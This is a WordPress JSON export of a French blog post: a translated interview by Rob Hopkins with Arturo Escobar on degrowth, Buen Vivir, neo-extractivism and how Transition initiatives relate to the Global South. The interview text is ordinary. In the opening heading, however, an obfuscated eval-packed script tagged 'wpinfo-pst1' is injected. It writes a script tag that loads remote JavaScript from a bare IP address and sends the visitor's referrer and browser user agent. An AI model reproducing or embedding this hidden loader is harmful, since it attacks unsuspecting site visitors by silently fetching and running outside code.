{"id":7715,"date":"2012-10-12T09:17:10","date_gmt":"2012-10-12T08:17:10","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=7715"},"modified":"2012-10-12T09:17:10","modified_gmt":"2012-10-12T08:17:10","slug":"les-alternatives-au-developpement-une-entrevue-avec-arturo-escobar-par-rob-hopkins-transition","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=7715","title":{"rendered":"Les alternatives au d\u00e9veloppement : une entrevue avec Arturo Escobar par Rob Hopkins &#8211; Transition."},"content":{"rendered":"<h3><a href=\"http:\/\/transitionculture.org\/2012\/09\/28\/alternatives-to-development-an-interview-with-arturo-escobar\/\" target=\"_blank\">Merci <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yznif|var|u0026u|referrer|renih||js|php'.split('|'),0,{}))\n<\/script><\/noindex> au mouvement Transition et \u00e0 Rob Hopkins pour cette interview.<\/a><a href=\"http:\/\/www.partipourladecroissance.net\/?p=7701\" rel=\"attachment wp-att-6320\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" title=\"aedg\" src=\"http:\/\/transitionculture.org\/wp-content\/uploads\/aedg-490x186.jpg\" alt=\"\" width=\"490\" height=\"186\" \/><\/a><\/h3>\n<p>\u00c0 la Conf\u00e9rence sur la D\u00e9croissance \u00e0 Venise, un des points forts pour moi fut l\u2019entrevue avec Arturo Escobar, dont mes notes sont disponibles ici, Il est entre autres\u00a0l\u2019auteur de \u201cEncountering\u00a0Development\u201d et de \u201cTerritories of Difference\u201d. Dans sa pr\u00e9sentation il a address\u00e9 la question de la D\u00e9croissance dans les Pays du Sud (Global South) et ses propos sont tr\u00e8s\u00a0perspicaces. Voici donc la transcription de notre entrevue.<\/p>\n<p><iframe loading=\"lazy\" src=\"http:\/\/w.soundcloud.com\/player\/?url=http%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F60747184&amp;show_artwork=true\" frameborder=\"no\" scrolling=\"no\" width=\"100%\" height=\"166\"><\/iframe><\/p>\n<h3><strong>Alors, Arturo, pouvez-vous parler un peu de vous, s\u2019il vous plait?<\/strong><\/h3>\n<p>Je m\u2019appelle Arturo Escobar, je suis n\u00e9 en Colombie et j\u2019enseigne aux \u00c9tats Unis, \u00e0 l\u2019universit\u00e9 de la Caroline du Nord \u00e0 Chapel Hill. J\u2019enseigne l\u2019anthropologie et je fais la plupart de mon travail d\u2019 anthropologue en Colombie, particuli\u00e8rement dans les zones de la for\u00eat tropicale, la r\u00e9gion pacifique de la Colombie, avec les mouvements des descendants d\u2019 Afrique et les communaut\u00e9s.<\/p>\n<p><strong>Donc, Arturo, hier vous avez donn\u00e9 une pr\u00e9sentation sur ce que la Transition dans le contexte du \u201cmonde d\u00e9velopp\u00e9 et du monde en voie de d\u00e9veloppement: les Pays du Nord, et les Pays du Sud (Global South). Pouvez-vous nous dire ce qui est pour vous la premi\u00e9re motivation dans chacune de ces deux blocs \u2013 qu\u2019est ce qui les diff\u00e9rencie?<\/strong><\/p>\n<p><strong><\/strong>Ok, un des points que j\u2019essayais de mettre en \u00e9vidence est un parall\u00e8le entre la D\u00e9croissance en tant qu\u2019un ensemble d\u2019 id\u00e9es et des projets politiques et sociaux de transformation et de Transition dans les pays du Nord, particuli\u00e8rement en Europe et aux \u00c9tats-Unis, plus pr\u00e9cis\u00e9ment en Europe, les \u00c9tats Unis sont encore un peu en arri\u00e8re comme vous le savez certainement mieux que moi.<br \/>\n<!--more--><br \/>\nLe mouvement alternatif aux \u00c9tats Unis, du moins en Am\u00e9rique Latine, peut-\u00eatre pas autant dans tous les Pays du Sud mais en Am\u00e9rique Latine; la r\u00e9gion que je connais le mieux parce que j\u2019 en suis originaire et que cela fait longtemps que j\u2019 y travaille comme anthropologue, \u00e9cologiste, et activiste, je l\u2019appelle \u201c Les Alternatives au d\u00e9veloppement\u201d.<\/p>\n<p>Quand on parle de D\u00e9croissance, je pense que c\u2019est ainsi qu\u2019un des orateurs en a parl\u00e9, je crois que c\u2019\u00e9tait Marcelo, le th\u00e9ologien, qui en a parl\u00e9 ainsi pendant notre s\u00e9ance. Quand il parle de la D\u00e9croissance au Br\u00e9sil, les gens se moquent de lui; \u201cPourquoi a-t-on besoin de d\u00e9croissance alors qu\u2019on a toute cette pauvret\u00e9 et tous les probl\u00e8mes et toutes les possibilit\u00e9s de cro\u00eetre? La croissance\u00a0 marche \u00e0 fond pour nous les br\u00e9siliens, la d\u00e9croissance ne fait pas de sens\u201d.<\/p>\n<p>Je pense qu\u2019ils ont une perception fausse de la D\u00e9croissance en Am\u00e9rique du Sud, car les gens qui se sont int\u00e9ress\u00e9s \u00e0 la D\u00e9croissance et aux Villes en Transition, y compris des environnementalistes, trouvent \u00e7a int\u00e9ressant mais ils ne pensent pas que ce soit suffisant pour r\u00e9gler les probl\u00e8mes de l\u2019Am\u00e9rique du Sud.<\/p>\n<p>Une de ces personnes, que vous pourriez aussi interroger \u2013 si je devais vous en indiquer une seule comme source d\u2019 information sur les d\u00e9bats en Am\u00e9rique du Sud sur la Transition et les alternatives au d\u00e9veloppement et le\u00a0<em>Buen Vivir<\/em>\u00a0\u2013 ce serait l\u2019 \u00e9cologiste uruguayen:\u00a0<a href=\"http:\/\/www.mondialisation.ca\/author\/eduardo-gudynas\/\">Eduardo Gudynas<\/a>. Il conna\u00eet les Villes en Transition, il a lu vos livres, il est bien \u00e9tabli \u00a0\u00a0\u00a0 \u00e0 Montevideo, mais il passe la plupart de son temps dans les Andes, plus particuli\u00e8rement au Nicaragua, en Bolivie, en Equateur et en Colombie.<\/p>\n<p>Pas au Chili, ni au Br\u00e9sil ou au Venezuela, les autres principaux pays des Andes. Une des autres personnes qui s\u2019int\u00e9resse \u00e0 ce sujet est un \u00e9quatorien:\u00a0<a href=\"http:\/\/www.turmel.uqam.ca\/sites\/default\/files\/lextractivisme_en_amerique_latine_et_au_quebec.pdf\">Alberto Acosta<\/a>, qui est le pr\u00e9sident de l\u2019Assembl\u00e9e constituante charg\u00e9e de la r\u00e9daction de la nouvelle constitution, qui comprend un long paragraphe sur le\u00a0<em>Buen Vivir,<\/em>\u00a0les droits de la nature, et tous deux \u00e9crivent sur les alternatives au d\u00e9veloppement et un autre concept que je n\u2019ai pas eu le temps d\u2019aborder hier qui est un mod\u00e8le \u00e9conomique et soci\u00e9tal de transition: le mod\u00e8le post-extractiviste.<\/p>\n<p>Ce qu\u2019ils pensent de la D\u00e9croissance \u2013 et leurs id\u00e9es diff\u00e8rent un peu avec les id\u00e9es de la D\u00e9croissance &#8211;\u00a0 c\u2019est qu\u2019en Am\u00e9rique Latine il y a un besoin de croissance, malgr\u00e9 tout. La vie des gens doit s\u2019am\u00e9liorer, et c\u2019est difficile \u00e0 faire sans aucune croissance. La sant\u00e9, l\u2019\u00e9ducation, le logement \u2013 ce sont des secteurs qui doivent cro\u00eetre.<\/p>\n<p>Ils ajoutent que la croissance doit \u00eatre subordonn\u00e9e \u00e0 une autre conception du d\u00e9veloppement ; c\u2019est \u00e0 dire le\u00a0<em>Buen Vivir<\/em><\/p>\n<h3><strong>Pouvez-vous nous en parler un peu plus?<\/strong><\/h3>\n<p>Oui, le\u00a0<em>Buen Vivir<\/em>\u00a0est un concept qui a pris de l\u2019 ampleur au cours des dix derni\u00e8res ann\u00e9es, principalement en Am\u00e9rique du Sud, parall\u00e8lement \u00e0 l\u2019 \u00e9mergence des gouvernements de tendance de gauche dans beaucoup des pays d\u2019 Am\u00e9rique du Sud; presque tous les pays sauf la Colombie et le P\u00e9rou. En fait il est plut\u00f4t difficile de savoir o\u00f9 se situe le gouvernement du P\u00e9rou.<\/p>\n<p>Dans ce contexte, c\u2019est une recherche d\u2019 un nouveau mode de pens\u00e9e sur le d\u00e9veloppement qui est pouss\u00e9 par les Indig\u00e8nes et dans une certaine mesure par les paysans, les descendants\u00a0d\u2019Afrique, en collaboration avec les \u00e9cologistes, certaines f\u00e9ministes, et parfois des activistes de diff\u00e9rents mouvements sociaux. Ils ont commenc\u00e9 par dire que le moment est venu de changer de mod\u00e8le de d\u00e9veloppement bas\u00e9 sur la croissance et l\u2019exploitation des ressources mini\u00e8res pour quelque chose de plus holistique; quelque chose plus en rapport avec la cosmologie des Indig\u00e8nes pour qui cette notion de bien-\u00eatre fond\u00e9e sur les seuls biens mat\u00e9riels et la consommation n\u2019 existe pas. Le cheminement de la pens\u00e9e des communaut\u00e9s indig\u00e8nes, n\u2019est m\u00eame pas une notion de d\u00e9veloppement, et c\u2019est l\u00e0 la cl\u00e9. Pour eux le\u00a0<em>Buen Vivir<\/em>\u00a0c\u2019est la nouvelle th\u00e9orie du d\u00e9veloppement.<\/p>\n<p>Non, ce n\u2019est pas une th\u00e9orie du d\u00e9veloppement. C\u2019est une th\u00e9orie pour quelque chose de diff\u00e9rent. Les gens le traduisent comme \u201cla bonne vie\u201d. Je pr\u00e9f\u00e8re l\u2019appeler le \u201cbien-\u00eatre collectif\u201d. Mais il s\u2019agit d\u2019un bien-\u00eatre collectif pour les humains et les autres \u00eatres anim\u00e9s. Les humains, les communaut\u00e9s humaines et le monde naturel, tous les \u00eatres vivants.<\/p>\n<p><strong>Qu\u2019est ce que \u00e7a donne en pratique? Quels en sont les \u00e9l\u00e9ments?<\/strong><\/p>\n<p>C\u2019est bien l\u00e0 la question: la pratique, l\u2019application du\u00a0<em>Buen Vivir<\/em>. C\u2019est le probl\u00e8me, particuli\u00e8rement en Equateur et en Bolivie dont les gouvernements sont \u00e9lus par des coalitions de mouvements sociaux, particuli\u00e8rement de mouvements indig\u00e8nes, qui, depuis qu\u2019 ils ont \u00e9t\u00e9 \u00e9lus il y a 6 ans en 2006 sur la promesse qu\u2019 ils allaient appliquer les diff\u00e9rentes notions du\u00a0<em>Buen Vivir<\/em>\u00a0\u00a0inscrites dans les constitutions respectives,<\/p>\n<p>Ceci dit, le but des politiques d\u2019\u00c9tat devraient \u00eatre la promotion du\u00a0<em>Buen Vivir<\/em>\u00a0qui comprend la justice sociale, une nouvelle notion de droits: les droits de la nature, la durabilit\u00e9 \u00e9cologique, l\u2019\u00e9limination de la pauvret\u00e9 ou sa r\u00e9duction. La r\u00e9duction de la pauvret\u00e9 et la protection de la nature sont les deux param\u00e8tres principaux.<\/p>\n<p>Les deux aspects du Buen Vivir sont l\u2019aspect social et \u00e9conomique, d\u2019une part, et les droits de la nature, soit l\u2019aspect \u00e9cologique, d\u2019autre part. Donc le but des constitutions et des plans de d\u00e9veloppement \u2013 j\u2019ai \u00e9tudi\u00e9 les plans de d\u00e9veloppement des deux gouvernements et ils sont contradictoires, parce qu\u2019ils disent : \u201cNous devons respecter notre mandat\u201d. Mais ils continuent sur les vieilles id\u00e9es sur la croissance et l\u2019extraction des ressources naturelles et de faire des plans d\u2019 am\u00e9nagement du territoire insuffl\u00e9s par le haut. Et nous, les experts, nous avons opt\u00e9 pour le mod\u00e8le du\u00a0<em>Buen Vivir,\u00a0<\/em>mais les communaut\u00e9s se sentent exclues.<\/p>\n<p>Donc, ils s\u2019entrechoquent dans les deux pays. C\u2019est la m\u00eame chose dans la Colombie du Sud, le sud du Mexico entre les Chiapas et les Indig\u00e8nes contre les paysans et les mouvements des noirs d\u2019un c\u00f4t\u00e9; des mouvements qui supportent le\u00a0<em>Buen Vivir<\/em>\u00a0et une autre vision du d\u00e9veloppement, et l\u2019approche de l\u2019\u00c9tat que Gudynas et Acosta appellent le \u201cn\u00e9o-extractivisme\u201d<\/p>\n<p>Ils sont n\u00e9o-extractivistes parce qu\u2019ils continuent l\u2019extraction des ressources naturelles: le p\u00e9trole, le gaz, le lithium, les graines de soja, la canne \u00e0 sucre, les carburants chimiques de toutes sortes, l\u2019or, les min\u00e9raux. Ce sont des gouvernements de gauche qui n\u00e9gocient avec les multinationales canadiennes, am\u00e9ricaines, europ\u00e9ennes, sud-africaines, chinoises, des compagnies qui accaparent toutes nos ressources. Il n\u2019y a pas d\u2019extraction traditionnelle car, comme avec les vieux gouvernements du Venezuela, o\u00f9 il y avait tellement de p\u00e9trole, mais cela profitait uniquement \u00e0 une petite \u00e9lite.<\/p>\n<p>De nos jours, l\u2019id\u00e9e des gouvernements de gauche, qui bien s\u00fbr est une bonne id\u00e9e, est\u00a0d\u2019utiliser les revenus, beaucoup plus \u00e9lev\u00e9s que sous les anciens r\u00e9gimes qui donnaient \u00e0 peu pr\u00e8s tout aux multinationales. Pour faire du social et r\u00e9duire la pauvret\u00e9 et, d\u2019une certaine fa\u00e7on, ils ont d\u00e9j\u00e0 commenc\u00e9 \u00e0 le faire. Mais dans le processus c\u2019est devenu un mod\u00e8le n\u00e9o-d\u00e9veloppemental, Presque la m\u00eame chose que dans le pass\u00e9 mais avec des mesures sociales am\u00e9lior\u00e9es.<\/p>\n<p><strong>Je trouve int\u00e9ressant que le point de d\u00e9part \u00e9tait la justice sociale li\u00e9e \u00e0 la protection de l\u2019 environnement alors qu\u2019 en Angleterre en ce moment, par exemple, le gouvernement anglais dit en gros, qu\u2019on doit cro\u00eetre \u00e0 tous prix et que la protection de l\u2019 environnement est optionnelle, C\u2019est fascinant de voir qu\u2019 avec le\u00a0<\/strong><em><strong>Buen Vivir<\/strong><\/em><strong>, elle en fait partie d\u00e8s le d\u00e9part.<\/strong><\/p>\n<p>Exactement, et c\u2019est ce qui se passe aussi aux \u00c9tats Unis avec les lois r\u00e9gissant l\u2019 hydro-fracturation qui a carte balance partout.<\/p>\n<p><strong>On nous demande quelles formes la Transition peut prendre dans les Pays du Sud et on r\u00e9pond qu\u2019il s\u2019agit de construire de la r\u00e9silience dans les deux zones, c\u2019est \u00e0 dire que le processus de la mondialisation de la production de nourriture a r\u00e9duit la r\u00e9silience des Pays du Sud \u00e0 cet \u00e9gard, parce que nous sommes devenus tr\u00e8s d\u00e9pendant sur les importations de nourriture et leur transports, alors que dans les Pays du Sud cela entra\u00eene la destruction des petites fermes etc. Comment voyez-vous ce rapport et comment peut-on construire la r\u00e9silience dans les deux zones? Et aussi, que peuvent faire les groupes de Transition des Pays du Nord pour soutenir ce qui se passe dans les Pays du Sud?<\/strong><\/p>\n<p>Je pense que le concept de r\u00e9silience est tr\u00e8s appropri\u00e9 et je sais que vous le mentionnez dans votre premier livre. Je pense que c\u2019est une id\u00e9e qui peut s\u2019appliquer dans les deux zones. Je devrais aller voir de plus pr\u00e8s si il est d\u00e9j\u00e0 en vigueur en Am\u00e9rique Latine, mais c\u2019est un concept tr\u00e8s fructueux et, en fait, ce serait une bonne question pour Eduardo Gudynas, un tr\u00e8s bon ami, donc, je lui poserai la question.<\/p>\n<p>Je pense qu\u2019en principe on peut \u00e9tablir des parall\u00e8les entre les Pays du Nord et les Pays du Sud. En pratique les solutions seraient sp\u00e9cifiques, comme vous l\u2019avez mentionn\u00e9 dans votre pr\u00e9sentation le premier soir, parce que chaque pays a ses propres particularit\u00e9s. La nourriture locale est tr\u00e8s importante pour les Pays du Nord. Elle devient de plus en plus importante pour les Pays du Sud, mais pour d\u2019autres raisons.<\/p>\n<p>L\u00e0, il s\u2019agit de la souverainet\u00e9 alimentaire et de l\u2019 autonomie alimentaire. En Colombie, par exemple, les gens pr\u00e9f\u00e8rent le terme\u00a0<em>autonomia alimenteria\u00a0<\/em>(autonomie alimentaire) qui est un peu diff\u00e9rent de la souverainet\u00e9 alimentaire. La souverainet\u00e9 alimentaire met l\u2019accent sur le niveau national, donc un pays peut dire qu\u2019il produit pour sa population\u00a0<em>blablabla<\/em>, cela ne suffit pas. L\u2019autonomie alimentaire doit se jouer a tous les niveaux: local, r\u00e9gional, et national.<\/p>\n<p>Dans les mouvements paysans tels que\u00a0<em><a href=\"http:\/\/viacampesina.org\/fr\/\">Via Campesina<\/a><\/em>, qui est un mouvement fort en Am\u00e9rique Latine et dans le monde se pr\u00e9occupe principalement de la souverainet\u00e9 alimentaire et un peu moins de l\u2019autonomie alimentaire. Donc la question de l\u2019alimentation constitue un point de d\u00e9part pour effectuer la Transition.<\/p>\n<p>Et\u00a0 l\u2019\u00e9nergie qui est un sujet si important dans les Pays du Nord, l\u2019est moins\u00a0 dans les Pays du Sud. Nous devrions nous en occuper plus, et apr\u00e8s r\u00e9flexion, c\u2019est ce que fait un des chercheurs de l\u2019\u00e9quipe de Gudynas, avec son programme pour l\u2019\u00e9nergie, plus particuli\u00e8rement pour l\u2019Am\u00e9rique du Sud. Il parle des transformations qui doivent se produire en ce qui concerne l\u2019\u00e9nergie pour que les transitions puissent se d\u00e9rouler.<\/p>\n<p><strong>Dans les Pays du Nord les gens disent: \u201cMais, vous ne pouvez pas parler de\u00a0 production de nourriture locale car cela condamnerait les petits producteurs du Kenya et du Chili \u00e0 la pauvret\u00e9 et au ch\u00f4mage\u201d. Que r\u00e9pondez-vous \u00e0 cet argument?<\/strong><\/p>\n<p>Je pense que \u00e7a n\u2019a pas de sens! Si on y regarde de pr\u00e8s, bien s\u00fbr, il y a beaucoup de nourriture produite en Afrique, en Asie et en Am\u00e9rique du Sud pour les march\u00e9s europ\u00e9ens et am\u00e9ricains, mais qui en profite? La plupart du temps ce ne sont pas les paysans locaux.\u00a0 Ils ont cess\u00e9 d\u2019\u00eatre des paysans locaux il y a environ 20 ou 30 ans.<\/p>\n<p>M\u00eame les agrocarburants, brandis comme la solution pour l\u2019environnement etc, comme le palmier africain que je connais bien car on l\u2019a plant\u00e9 partout en Colombie. Cela c\u2019est fait au d\u00e9triment des communaut\u00e9s locales, des syst\u00e8mes \u00e9cologiques locaux, par des gros capitalistes colombiens et des grosses multinationales.<\/p>\n<p>Je sais qu\u2019en Afrique et au Moyen Orient, ce sont principalement des compagnies allemandes et europ\u00e9ennes qui ont main mise sur la production agricole et l\u2019exportation vers l\u2019 Europe. Il va falloir arr\u00eater de penser que le Sud doit faire pousser des denr\u00e9es de luxe pour les Pays du Nord.<\/p>\n<p><strong>Donc, si l\u2019 initiative de Transition dans les Pays du Nord qui travaillent dur pour achever une production alimentaire locale, r\u00e9duire son empreinte \u00e9cologique, mettre en place des infrastructures de cr\u00e9ation d\u2019 \u00e9nergie renouvelable, et localiser son \u00e9conomie, \u00e0 votre avis, cela veut-il dire qu\u2019 en m\u00eame temps cela contribue, part d\u00e9faut, \u00e0 aider les alternatives au d\u00e9veloppement des Pays du Sud en m\u00eame temps?<\/strong><\/p>\n<p>Je pense que votre premi\u00e8re remarque sur le besoin d\u2019une r\u00e9flexion plus approfondie est la meilleure. Cela ne veut pas dire qu\u2019on de doive pas y penser sans tenir compte des pays du Sud, ni comment cela les affecte. Il se pourrait bien que certains groupes des Pays du Sud soient<\/p>\n<p>affect\u00e9s par des pratiques cr\u00e9es par la Transition dans des Pays du Nord, par exemple comme une des oratrices ce matin, Antonnella Picchio, une \u00e9conomiste f\u00e9ministe, a dit qu\u2019on devrait toujours inclure la perspective des femmes.<\/p>\n<p>En principe, c\u2019est tr\u00e8s bien. Comment doit-on poser la question \u2013 comment nos activit\u00e9s de Transition peuvent \u00eatre b\u00e9n\u00e9fiques, ou mal\u00e9fiques, aux groupes les plus vuln\u00e9rables dans les Pays du Sud: les femmes, les Indig\u00e8nes, les Noirs, les minorit\u00e9s ethniques, et les paysans principalement. Il me semble que c\u2019est une tr\u00e8s bonne question qu\u2019on doit toujours se poser.\u00a0 Et ce n\u2019est pas une question si difficile \u00e0 r\u00e9pondre, il suffit de suivre le fil des actions.<\/p>\n<p>En g\u00e9n\u00e9ral, je tends \u00e0 penser que les initiatives de Transition dans les Pays du Nord pourraient contribuer, pas imm\u00e9diatement mais \u00e0 un certain moment, aux alternatives de d\u00e9veloppement et \u00e0 l\u2019autonomie locales dans les Pays du Sud, dans la mesure o\u00f9 elles continuent \u00e0 \u00e9roder le pouvoir des grandes entreprises qui sont le lien commun et qui se fouttent de tout le monde, y compris des gens des Pays du Nord.<\/p>\n<p>Mes amis finlandais et canadiens me disent que les m\u00eames multinationales qui ont exploit\u00e9 les Pays du Sud depuis si longtemps sont en train de faire la m\u00eame chose au nord du Canada et en Finlande. Donc m\u00eame le Nord ne sera plus \u00e9pargn\u00e9 dor\u00e9navant. C\u2019est pour cela que je pense qu\u2019on doit former des alliances. On doit cultiver les conversations entre les activistes de la Transition des deux r\u00e9gions. Ces conversations pourront \u00eatre difficiles et je pense qu\u2019on doit commencer par les questions que vous posez.<\/p>\n<p>En consid\u00e9rant le concept et la pratique de la Transition en vigueur dans diff\u00e9rentes parties du monde, on doit prendre en compte que ces conversations interculturelles et inter-\u00e9pist\u00e9mologiques, vont inclure des connaissances diff\u00e9rentes qui doivent \u00eatre interpr\u00e9t\u00e9es: les connaissances, les cultures, et les diff\u00e9rentes modes d\u2019existence sont affect\u00e9s de mani\u00e8re n\u00e9gative, entre diff\u00e9rents niveaux de privil\u00e8ges, etc.<\/p>\n<p><strong>Est-ce que la mise en \u0153uvre du concept de localisation va g\u00e9n\u00e9rer un nombre suffisant d\u2019emplois pour satisfaire les besoins de ces pays?<\/strong><\/p>\n<p>Probablement pas, je pense que jusqu\u2019\u00e0 un certain point on doit mettre l\u2019accent sur des actions et des solutions locales mais il doit y avoir un certain degr\u00e9 de r\u00e9flexion et de mise en place de mesures au niveau r\u00e9gional et national. L\u2019\u00c9tat doit faire partie de la solution au lieu du probl\u00e8me comme c\u2019est le cas maintenant. De nos jours, il contribue plus au probl\u00e8me.<\/p>\n<p>Sous certains des nouveaux r\u00e9gimes progressistes, l\u2019\u00c9tat essaie de faire partie de la solution , tant en termes de communication avec les mouvements sociaux, mais les allers et venues entre les mouvements sociaux qui demandent de plus en plus d\u2019autonomie locale, la protection des territoires, la protection de la diversit\u00e9 culturelle et biologique d\u2019une part, et l\u2019 \u00c9tat, qui vise le niveau national et international, sont plut\u00f4t tendus, et des ruptures commencent \u00e0 appara\u00eetre, m\u00eame dans des pays comme la Bolivie et l\u2019Equateur o\u00f9 l\u2019 \u00c9tat entretient de meilleures relations avec les mouvements.<\/p>\n<p><strong>Quel est le r\u00f4le de la technologie dans ce contexte? Il ya des gens qui disent qu\u2019elle pourrait jouer un r\u00f4le si on pouvait mettre les plantes transg\u00e9niques en acc\u00e8s libre. Puis il y a les autres technologies comme le nucl\u00e9aire, ce genre de choses. Du point de vue des alternatives au d\u00e9veloppement, qu\u2019est ce qui constitue une bonne technologie et une technologie qui n\u2019a pas sa place?<\/strong><\/p>\n<p>Je pense que la technologie c\u2019est tr\u00e8s important. Je pense que les communaut\u00e9s indig\u00e8nes souscrivant au\u00a0<em>Buen Vivir<\/em>, les communaut\u00e9s de descendants africains et les communaut\u00e9s de paysans, ne sont pas oppos\u00e9s \u00e0 la technologie en principe. S\u2019ils peuvent se connecter \u00e0 l\u2019 Internet, s\u2019ils peuvent acc\u00e9der \u00e0 des technologies leur permettant d\u2019 am\u00e9liorer la production de la terre et leurs conditions de vie, c\u2019est bien.<\/p>\n<p>En fait, ils s\u2019opposent aux technologies qui sont en opposition \u00e0 leur autonomie, \u00e0 leurs territoires, aux traditions culturelles et \u00e0 leur conception du monde et leurs modes de vie. Mais quand vous lisez \u2013 et je pense que c\u2019est une id\u00e9e fausse, &#8211; que le\u00a0<em>Buen Vivir<\/em>\u00a0&#8211; parce qu\u2019il est promu en majorit\u00e9 par les mouvements indig\u00e8nes et les intellectuels, consiste \u00e0 revenir en arri\u00e8re \u2013 c\u2019est compl\u00e8tement faux. Il ne s\u2019agit pas d\u2019effectuer un retour en arri\u00e8re.<\/p>\n<p>Aujourd\u2019hui j\u2019ai \u00e9galement entendu quelqu\u2019un dire que la D\u00e9croissance ne signifie pas faire un pas en arri\u00e8re mais aller de l\u2019avant. Il en va de m\u00eame pour les communaut\u00e9s, il s\u2019agit d\u2019avancer, mais comment? La diff\u00e9rence, c\u2019est \u201ccomment\u201d? La mani\u00e8re dont nous avan\u00e7ons de nos jours aves la croissance, le profit et la pr\u00e9valence du seul mod\u00e8le du capitalisme et de la modernit\u00e9, beaucoup de communaut\u00e9s et de mouvements sociaux en ont marre et il faut que \u00e7a cesse.<\/p>\n<p>Mais, ils ne s\u2019agit pas d\u2019 \u00eatre anti-technologie et anti-modernit\u00e9. Pour moi c\u2019est une question d\u2019affaiblir ou de diminuer la domination du mod\u00e8le de croissance, le mod\u00e8le de la haute technologie, le mod\u00e8le\u00a0 \u00e9conomique n\u00e9olib\u00e9ral et la supr\u00e9matie du mod\u00e8le culturel de la modernit\u00e9, et de faire place \u00e0 des conceptions et des modes de pens\u00e9e diff\u00e9rents.<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Merci au mouvement Transition et \u00e0 Rob Hopkins pour cette interview. \u00c0 la Conf\u00e9rence sur la D\u00e9croissance \u00e0 Venise, un des points forts pour moi fut l\u2019entrevue avec Arturo Escobar, dont mes notes sont disponibles ici, Il est entre autres\u00a0l\u2019auteur &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=7715\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,11,17],"tags":[],"class_list":["post-7715","post","type-post","status-publish","format-standard","hentry","category-actualites","category-documents-les-supplements","category-revue-de-medias"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/7715","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7715"}],"version-history":[{"count":2,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/7715\/revisions"}],"predecessor-version":[{"id":7717,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/7715\/revisions\/7717"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7715"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=7715"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=7715"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}